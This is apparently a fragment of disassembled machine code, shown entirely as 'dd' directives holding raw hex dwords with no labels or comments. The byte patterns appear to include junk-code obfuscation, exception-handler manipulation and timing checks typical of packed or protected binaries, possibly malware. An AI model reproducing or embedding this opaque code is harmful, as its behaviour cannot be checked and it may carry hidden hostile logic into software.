		dd 0FF607A6h, 8Ah, 45858900h, 9005E72Ah, 5E8h, 6C14CB00h
		dd 840F1691h, 5, 336C04BBh, 53505F36h, 0F9C7BB66h, 6A905Fh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 8F0E82C3h, 6A7A7Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 1C35242h, 810F1476h, 5, 96D38166h, 6AFE8BADh
		dd 0FEBF0F00h, 0E653858Dh, 0BD8B05EBh, 5E70885h, 6A05C083h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 504FC350h, 0BE666051h, 616091A2h,	4895B61h
		dd 0DBB70F24h, 6AFC006Ah, 0C5858900h, 0FF05E727h, 0E702C595h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0D5BAED77h, 810FDE8Bh, 5, 9BDC66BFh, 148D8D78h
		dd 3305EA95h, 0E70D21BDh, 6AD1FF05h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0EABDC356h
		dd 9D0E8073h, 5E9C6CCh,	6F000000h, 7A420349h, 1820Fh, 83F50000h
		dd 0E707F1BDh, 850F0105h, 54h, 1305BD8Bh, 26A05E7h, 12E850F5h
		dd 18000000h, 0B3A269F0h, 833567B1h, 829AADFFh,	0CF400BD2h
		dd 810F32h, 5B000000h, 6A240489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 9EB2C357h
		dd 4195FFh, 0BD8905E7h,	5E7073Dh, 0D9EE9h, 0E800h, 815D0000h
		dd 0EBE65DEDh, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 858DF942h, 5EA8F5Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 14C35040h, 4D9D0160h
		dd 8105E720h, 0C5F670D0h, 0E8506174h, 13h, 0D6686C9Dh
		dd 98B75CB0h, 0F5872D2Ch, 5529ADDh, 66A8921Eh, 895BD88Bh
		dd 0DE8B2404h, 35FF64h,	0B7000000h, 258964A1h, 0
		dd 0FFDA8B66h, 0E71CE185h, 0BE666005h, 5B53C3D8h, 0B7FF6A61h
		dd 55B5FF99h, 0F05E72Eh, 68Dh, 2DBD2300h, 0FF05E723h, 0E729C195h
		dd 149E905h, 5E80000h, 75000000h, 18BA9E7Fh, 8B19D8Bh
		dd 0B05F05E7h, 71BD8B00h, 0E905E70Ch, 9, 0E9459793h, 55079BBFh
		dd 0E970E690h, 5, 0C2EC8531h, 2B71E44Bh, 0E72639BDh, 0F613C05h
		dd 10683h, 8DBD0900h, 0F05E723h, 840FC8B6h, 2, 9D29F88Bh
		dd 5E726D5h, 6BAh, 10810F00h, 0E9000000h, 0Bh, 1F500C4Ah
		dd 0F162DFA6h, 0FC099169h, 0BD8BC18Bh, 5E721DDh, 6604E8C1h
		dd 10E8E2F7h, 0DD000000h, 427E4880h, 0D7664C67h, 0C0353A7h
		dd 89C96EBBh, 0E7126195h, 810F5B05h, 0
		dd 0F60C82Bh, 68Bh, 880F00h, 89000000h,	0E7281995h, 0D18B6105h
		dd 0E9EAC380h, 83h, 7359D89h, 858B05E7h, 5F4C4C44h, 31D59D8Bh
		dd 0C08305E7h, 0FFB70F07h, 0F00C083h, 0D03BDFBFh, 0E830Fh
		dd 0F3800000h, 55E908h,	85890000h, 5E72D4Dh, 0FFFF8D8Bh
		dd 8D29FFFFh, 5E702E1h,	0F01E183h, 3A84h, 0A583F800h, 0FFFFFFFFh
		dd 11E9FEh, 22340000h, 9FF0BEC1h, 7E340857h, 0A3E81696h
		dd 0F1EA98Dh, 685h, 459D8B00h, 8905E701h, 4C4C4495h, 50DEBB5Fh
		dd 0E96A4Ch, 8D000000h,	0EB63B4B5h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 2FF5896Eh
		dd 595475DFh, 1DA8B66h,	0E700D98Dh, 6A006A05h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 41A3C350h, 22778E1Ch, 9D9D8B32h, 0E905E722h,	0Bh, 0DD733DC2h
		dd 8F73E778h, 0FF3B2716h, 0E71A1D95h, 0D88B6605h, 0F82B9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8BC8EF22h, 0E723C9BDh, 0FCE18305h, 29B58B60h
		dd 6605E715h, 61E8DBB8h, 5E8FCh, 0D04D0000h, 0FCDDAF9h
		dd 68Eh, 619D8B00h, 5B05E704h, 0B8h, 0BAF800h, 0BF000000h
		dd 64829331h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 8659D89h
		dd 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 68A4CFC3h, 880D8A3Eh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 3C4FC356h, 0D0196F50h, 15958B55h, 6A05E723h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0DC92C352h, 665D434Bh, 8B56BABBh, 0E708B98Dh, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 8B668EB4h, 0C28B50FEh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 314C355h, 0E703B59Dh, 1DBD8305h
		dd 5E721h, 6C840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0B833A0C3h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 4AC35040h
		dd 13E9FBh, 0D9E20000h,	91E0A90h, 755AE68Bh, 13E63261h
		dd 0D449963Bh, 8D8DF5CFh, 5E74DFAh, 22899D89h, 0E1FF05E7h
		dd 2F89B501h, 0BD8305E7h, 5E70C99h, 0EC840F00h,	6A000004h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 74F6C355h, 0D88B89F7h, 0C99BD83h,	0F0105E7h
		dd 4D984h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 5F254979h, 68F1539Dh, 0C2BB66E5h
		dd 99BD8398h, 305E70Ch,	46E860Fh, 81660000h, 297EECEBh
		dd 0E70AF595h, 6A6005h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 14460FC3h, 8C6696F9h, 53006AD9h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 7B4EEEEh, 3E4BC964h,	13E88Bh, 0E3360000h, 0DB664898h
		dd 6E25D64h, 0CD0E30BAh, 4945B7FFh, 7DB529B9h, 5B05E703h
		dd 23A19589h, 10E905E7h, 0A5000000h, 0AD77CFABh, 0F4D40022h
		dd 230BB31Ch, 80D31490h, 6A04E1h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 89377C3h, 2708E0E0h
		dd 0FC90A8Dh, 0D084h, 2D858B00h, 6605E707h, 333898BFh
		dd 0E72E8185h, 0C3F78105h, 8B6B77CBh, 0E72A1D9Dh, 8E0F5005h
		dd 0
		dd 89240489h, 0E70255B5h, 0F006A05h, 68Eh, 4D8D8900h, 6805E731h
		dd 0AFCC508Ch, 73240481h, 0F5052B3h, 580h, 90D0BB00h, 0F8602D05h
		dd 11E9h, 0AF277A00h, 0D3AC9D2Eh, 2CE70B87h, 0AD12EA72h
		dd 0FF618B4Fh, 0E720E595h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 71B52983h
		dd 8905E709h, 0EAA35085h, 759D8905h, 0E905E72Eh, 252h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 75C35646h
		dd 2E7BA36Eh, 0E19D8B71h, 8B05E720h, 0E70339BDh, 48858B05h
		dd 6A05EAA3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0B2FBC351h, 0D11C7296h, 0FFBB70Fh
		dd 0C7F9B7h, 18h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0CDC35141h, 20C98D89h, 0B58B05E7h, 5EAA34Ch, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 95C35343h, 0F67B0BCBh
		dd 2DF5B529h, 858B05E7h, 5E70081h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 4EC35141h, 93A57385h, 6A068936h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 2F6C351h,	88C0Fh,	8D0F0000h, 2, 858B6160h
		dd 5E7072Dh, 830Fh, 46890000h, 57006A04h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0A377C54Bh
		dd 0E9CDFB92h, 14h, 7CEEE6D7h, 6D8621A8h, 735DE762h, 128B25FDh
		dd 67CDE644h, 2C5DD1BBh, 0F9B58914h, 9605E70Ch,	13E8h
		dd 0D9059F00h, 0A49C36F1h, 3321FFE7h, 3C2E0C28h, 8864E881h
		dd 5EA61EBFh, 53505F28h, 5B5F5751h, 6A965Fh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 5F3AF5C3h
		dd 3245BD8Bh, 0B5FF05E7h, 5EAA348h, 9ADBB66h, 0CD6F2B68h
		dd 0F5250D0h, 81585A31h, 94D42404h, 6A2F51h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 7539DFC3h
		dd 0BF14EE8Eh, 52F6FC32h, 0A350858Dh, 6A05EAh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 60DD01C3h, 5E9h, 6B1BA900h, 0B956030Ch, 239B758h, 66506159h
		dd 892ACABBh, 9D892404h, 5E719B1h, 20E595FFh, 6A05E7h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 7398C4C3h, 556AD4CEh, 6A61C705h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0D878C356h
		dd 0C72164DFh, 0E70C9985h, 305h, 6E900h, 0E65C0000h, 0F2BBC015h
		dd 0EE8h, 0B395F800h, 2A5FFC12h, 429AED57h, 8B08756Bh
		dd 0E723119Dh, 0BD835B05h, 5EAA350h, 61840F00h,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0D1CFC352h, 0E053F698h, 0BD014C45h, 5E71C99h
		dd 15A18589h, 48E905E7h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E9EAC353h
		dd 6, 0A38A6689h, 0BD8B2177h, 5E7257Dh,	110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0F0D6C357h, 0FC527BE7h, 66B2B21Fh, 5304DB81h, 0C0EFB1BBh
		dd 99BD8325h, 305E70Ch,	3A5850Fh, 0D88B0000h, 0A350BD83h
		dd 0F0005EAh, 39684h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 30D41C87h, 13DFDD18h
		dd 0C7816682h, 0B5FFF367h, 5EAA350h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0B6C35747h,	0DC80B1E2h, 0E3816660h
		dd 0D781B756h, 5A8E7EFEh, 7ECF8061h, 2D6995FFh,	0BF6605E7h
		dd 0B58BCC7Ah, 5EAA344h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 14h, 0DDC35040h, 106C7h, 0B70F0001h, 0FE850FBh
		dd 0D7000000h, 0B8D88BBBh, 0F49E7133h, 9239E2EEh, 0D98B9709h
		dd 2434895Fh, 5E953h, 4D360000h, 5F01D306h, 0A350B5FFh
		dd 0BE805EAh, 0E7000000h, 7B690B21h, 0EDE2DA4Ch, 0BF665237h
		dd 8B5B7FDFh, 7D95FFFBh, 8A05E724h, 44B58BFDh, 6A05EAA3h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 9893C357h, 2305BD8Bh, 9D8B05E7h, 5E70855h
		dd 3CD858Bh, 0BD8B05E7h, 5E71F89h, 0C48689h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 5EF2DBC3h, 6D0CFD98h, 2315958Bh, 6A05E7h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 200F44C3h
		dd 19812F37h, 52437422h, 5ECB8166h, 0C2835B4Ch,	52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 1A72FCF7h, 3FBBEB42h, 9D0B8FEFh, 5E700ADh, 0F205089h
		dd 383h, 0DFBF0F00h, 0B732858Dh, 0C38005EAh, 0B886898Dh
		dd 0E8000000h, 6, 0BA5D6C80h, 13E9F4A5h, 0A2000000h, 2F8365E2h
		dd 0D06E90BDh, 9DA2BB90h, 0C14C38h, 6A5B527Dh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 7A5E04C3h, 6259A6C1h, 9E9h, 7192B100h, 5386AF4Fh, 0BF665AF0h
		dd 0B5FF04BEh, 5EAA350h, 0FF8EEB80h, 0E7004195h, 4DBD8905h
		dd 5005E702h, 34899EB3h, 0F7816624h, 0B5FFBB1Eh, 5EAA350h
		dd 0DE9h, 14AAA500h, 2257E9EDh,	2695BD52h, 95FF01E7h, 5E72A09h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 8AC35545h
		dd 78C52210h, 2DE850BFh, 618D89ABh, 0F05E70Bh, 689h, 0E59D2B00h
		dd 8305E71Ch, 0E704F9BDh, 840F0005h, 23h, 0F1EF8166h, 81F381E1h
		dd 5036CAB3h, 0F243489h, 0E81h,	8D896000h, 5E727D5h, 1CD1BD8Bh
		dd 0FF6105E7h, 0EAA350B5h, 0DD8D0105h, 0FF05E71Ch, 0E7071D95h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 3764654Dh, 0B5FF6943h, 5EAA350h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0BC35747h, 0A51A6700h
		dd 94C4D614h, 9858529h,	95FF05E7h, 5E70CC5h, 274D9D89h
		dd 0BD8305E7h, 5E725CDh, 4C840F02h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0D762C351h, 0F2F87003h, 8BFFB70Fh, 0E7065185h, 14E905h
		dd 90900000h, 3BB04BFBh, 38F67F5Dh, 0A68A7B7Fh,	8C24F49Ch
		dd 0C6E234h, 45BD8900h,	0C705E706h, 0E70DFD85h,	5, 6D9D0B00h
		dd 0E905E720h, 0FFFFF355h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 4FC35646h, 6DBE944Bh,	0BFAC290Ah, 31FA8B64h
		dd 0E7083DB5h, 6AC18B05h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 2D26C351h
		dd 6894AD29h, 0FF140C4Eh, 8DD98B66h, 0E71AF985h, 6870F05h
		dd 0F000000h, 84h, 0EF816600h, 5090A57Fh, 0FE8h, 0ABABE100h
		dd 9A51E3E5h, 0D8C3991Eh, 0F2835240h, 6A905Fh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 315C2AC3h, 0BBADC689h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0E95178C3h, 0Eh, 0AEEE08E1h
		dd 0C1802C9Dh, 4790AC6Ch, 6A2A99h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0F5C35545h,	8DF97D91h, 79177E17h
		dd 0AD51BB16h, 858D0830h, 5EBF633h, 16419D03h, 0C08305E7h
		dd 906CB705h, 10127CBFh, 52505014h, 6E856h, 0F580000h
		dd 0D228E9F4h, 310F5F5Fh, 0B38FBB66h, 6A90585Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 9DABC357h, 0F4534AC7h, 0AA74BF66h, 6A006AF5h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0D310C353h, 10DFE46Bh, 5F5391E1h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 269AC9C3h
		dd 8A29B83Eh, 5E952F8h,	82000000h, 82BA68B0h, 0C595FF5Bh
		dd 8B05E702h, 0E70039BDh, 148D8D05h, 6A05EA95h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 382FC355h, 0E9D1FF4Eh, 12h, 28A0F4Eh, 364C9794h, 390D4AC1h
		dd 1C479D2Bh, 0BD83D994h, 5E707F1h, 89850F01h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0E476C351h, 0AE9AD38h, 0CA000000h, 0B797E517h
		dd 0B52DFAEDh, 66026A83h, 6E3DE781h, 96BB6690h,	10E950D8h
		dd 0D6000000h, 5E306AC1h, 1934D9CEh, 24233FDFh,	90B9E30Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0C0C35747h
		dd 0FFC20E5Fh, 0E7004195h, 0EE905h, 0B3FF0000h,	1734BF7Ch
		dd 0FA616DDFh, 0E44D7C29h, 0CA2E9h, 0E800h, 815D0000h
		dd 0EBF63DEDh, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 8D8DBFCBh, 2800Fh, 0DF8B0000h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0FAC35343h
		dd 64EC2771h, 8DD3329Ch, 7E9D9h, 0AAE00000h, 82C72541h
		dd 5B858DFDh, 8905EA8Fh, 0E70A9995h, 8B505005h,	4895BFBh
		dd 35FF6424h, 0
		dd 258964FCh, 0
		dd 5E8h, 0B5447700h, 0BD8BA614h, 5E71721h, 0E185FF5Fh
		dd 0F905E71Ch, 6AFF6Ah,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0A23F58C3h, 5A10D239h, 0DAB70F7Fh
		dd 15E1B5FFh, 51B305E7h, 29C195FFh, 2E905E7h, 8B000001h
		dd 0E701799Dh, 0B9BD8B05h, 0B005E706h, 5770E600h, 9019529h
		dd 0E45B05E7h, 959D8971h, 3C05E706h, 0DA830F61h, 8B000000h
		dd 0E704F5BDh, 0C8B60F05h, 0BA61EF80h, 6, 895B589h, 0DA8A05E7h
		dd 0FE8BC18Bh, 8904E8C1h, 0E72D1195h, 94DF8105h, 661BC3B7h
		dd 8160E2F7h, 541D10C7h, 0CE834h, 9A940000h, 23968503h
		dd 3C200EEDh, 5EF9D533h, 66C82B61h, 0D18BD98Bh,	0E0BCC381h
		dd 7EE91603h, 66000000h, 858BDA8Bh, 47554C50h, 9800Fh
		dd 860F0000h, 3, 83FA8B66h, 0BB6607C0h,	0C083F1C1h, 658D0900h
		dd 3B05E70Dh, 1C830FD0h, 0E9000000h, 0Ch, 62D28372h, 302B3626h
		dd 4D599BA9h, 38E9h, 119D8900h,	8B05E71Ch, 0FFFFFF8Dh
		dd 69BD31FFh, 8305E71Fh, 840F01E1h, 1Dh, 83D88B66h, 0FFFFFFA5h
		dd 65BFFEFFh, 8974CAEDh, 554C5095h, 0FB8B6647h,	0E9h, 36B58D00h
		dd 6A05EB73h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 317CC351h, 6E9h, 45785B00h, 6A560094h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8B12B395h, 0E71B259Dh, 1D95FF05h, 6A05E71Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 5168C352h, 0F0DB9h, 49BD8B00h, 8305E704h
		dd 9D89FCE1h, 5E70AE5h,	50006AFCh, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 5B47620Dh, 9E983A6h, 45000000h
		dd 0DA5571F8h, 57DB0771h, 0B8h,	13E900h, 5D1C0000h, 367D3CAAh
		dd 7C1E87F0h, 5C865EF8h, 0DBA75CDh, 6AD22B29h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 4009C351h, 0ADF877DDh, 0E8D1C233h, 0E983D003h, 8BF47504h
		dd 0E708ADBDh, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0FB68142h, 78Ch, 81665000h
		dd 5F9C0BE7h, 880Dh, 3890F00h, 66000000h, 958BDA8Bh, 5E72315h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 9EC35545h
		dd 36D2EF4Ch, 5216F03Fh, 0D99D8B89h, 8B05E701h,	0E708B98Dh
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 799D2B2Ah, 5005E701h, 2B05BD8Bh,	505B05E7h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	5033B358h
		dd 0ACB2BB66h, 1DBD835Fh, 5E721h, 3F840Fh, 9E90000h, 0F6000000h
		dd 381EEBF7h, 0DEEB9D7h, 0B8h, 15BB6600h, 0FA8D8D15h, 0F05E74Dh
		dd 1182h, 9E800h, 0F7CE0000h, 0BFEBA633h, 5086416Dh, 81665B5Bh
		dd 0FF0108CFh, 15BF66E1h, 99BD831Bh, 5E70Ch, 3F6840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0F8A91FC3h, 0A026BFC5h, 0BD837159h, 5E70C99h
		dd 0E0840F01h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 773C353h, 83DFB70Fh
		dd 0E70C99BDh, 860F0305h, 37Dh,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0D1C35545h,	449BD8Bh, 6A6005E7h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0C1CFC352h, 80B8AFA1h, 264237DDh,	0CE700ABFh
		dd 0D98C6601h, 653DD381h, 0E1807F2Bh, 56006A04h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 0D1A0F775h, 8A760E8Bh, 895750FCh, 0E70DA5B5h, 0F5F5F05h
		dd 89h,	0FC90A00h, 11284h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 6CFCF90Ah
		dd 958B5660h, 5E72135h,	1206BA5Bh, 8B617298h, 0E7072D85h
		dd 0DEBF0F05h, 2E818533h, 34BF05E7h, 9029B13Ch,	0B9616060h
		dd 6EBC4BFEh, 79B35061h, 6AF98B90h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 89BC41C3h
		dd 0E726018Dh, 9BE6805h, 40BB0E21h, 8114C454h, 0A412434h
		dd 6A0E3Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0A94220C3h, 0C7EAC9E5h, 95FF5841h, 5E720E5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0FFC35242h
		dd 0F755AC9Fh, 0FEB70F80h, 0A3508589h, 816605EAh, 0E96492D3h
		dd 1A6h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0EBC35747h, 0B9D7381Eh,	25150DEEh, 0D1B52953h
		dd 8B05E71Ch, 0EAA34885h, 0EF816605h, 0C7ED17h,	18h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0BCC35646h, 99D02DD7h
		dd 1BD8BFDh, 8B05E71Bh,	0EAA34CB5h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 489E9DC0h
		dd 6CBA4ABCh, 2BA59D8Bh, 858B05E7h, 5E70081h, 8364A2BBh
		dd 8906891Dh, 0E72C3DB5h, 2D858B05h, 6A05E707h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 90B8C356h, 425B7393h, 8B50B662h, 0E723619Dh,	46895B05h
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0C39D0F57h, 0F58AC43Ch, 0DF8B6650h, 8B243489h
		dd 0E717A9BDh, 48B5FF05h, 8905EAA3h, 0E703F585h, 4E805h
		dd 3FF0000h, 8B50001Fh,	50042444h, 138A0F52h, 0E8000000h
		dd 0Dh,	18324B2Dh, 3065116Fh, 0B7700883h, 310F5FCCh, 6E8h
		dd 4955C600h, 5F74F2A9h, 8B585Ah, 89FA8B66h, 66042444h
		dd 585BF9BFh, 0FA8B6652h, 50858D5Bh, 0BB05EAA3h, 18E702E4h
		dd 0B3525050h, 66310F59h, 585AFB8Bh, 6A240489h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0CCC355h, 95FF5E5Eh,	5E720E5h, 63DBD8Bh, 806105E7h
		dd 85C765EBh, 5E70C99h,	3, 55CE8160h, 0B66160B8h, 0BD8361A7h
		dd 5EAA350h, 36840F00h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0AA48C357h
		dd 893E2379h, 0E71CC58Dh, 26E905h, 8B0F0000h, 5, 3BEF8166h
		dd 0C3050EEh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0FE9h, 4340EF00h, 0EA1BE80h, 51C0CB2Ch
		dd 9DB129F9h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 18h,	58C35646h, 5F20010h, 0C99BD83h,	0F0305E7h, 42585h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0D46E0CE8h, 0BF0FF0CAh
		dd 50BD83F9h, 5EAA3h, 3F4840Fh,	8E90000h, 0EA000000h, 12FB799h
		dd 6602EDCFh, 0B5FFF98Bh, 5EAA350h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 6DC35242h, 410D425Ch, 95FFEB26h
		dd 5E72D69h, 2B459D8Bh,	0B58B05E7h, 5EAA344h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 2BC35242h, 96BF0EF2h
		dd 6E8D8A5h, 29000000h,	71207969h, 0F98D896Dh, 5B05E705h
		dd 106C7h, 890F0001h, 6, 0F31B509h, 0E85005E7h,	13h, 623912DEh
		dd 712B7DFBh, 16D20F06h, 4B467C0Ch, 0E84C561Dh,	11h, 67F2DB4h
		dd 0F43A087Dh, 9AF1756Ah, 0E3349BBEh, 5F616016h, 2434895Bh
		dd 2BF7BB66h, 0A350B5FFh, 0FFF805EAh, 0E7247D95h, 3DBD2305h
		dd 8B05E705h, 0EAA344B5h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0A3BA6B39h
		dd 0AB210767h, 858B7C6Bh, 5E703CDh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0D3C35545h,	0DE956h, 0EF1E0000h
		dd 9BBBC734h, 41669E13h, 5BC6AEC9h, 0C48689h, 0DE8A0000h
		dd 958BDF8Bh, 5E72315h,	9E9h, 0CAB28700h, 0ED502A6Eh, 0C283776Dh
		dd 0DE86004h, 0E9000000h, 0DC25B494h, 0F156F844h, 0E08F6D35h
		dd 8F0Fh, 615A0000h, 6A205089h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0EBA7C355h,	532F796Eh
		dd 56B3E84Bh, 0B732858Dh, 1FBB05EAh, 8945D3C7h,	0B886h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 7E9AAh, 85F60000h, 97AFC66Bh, 6A006A81h
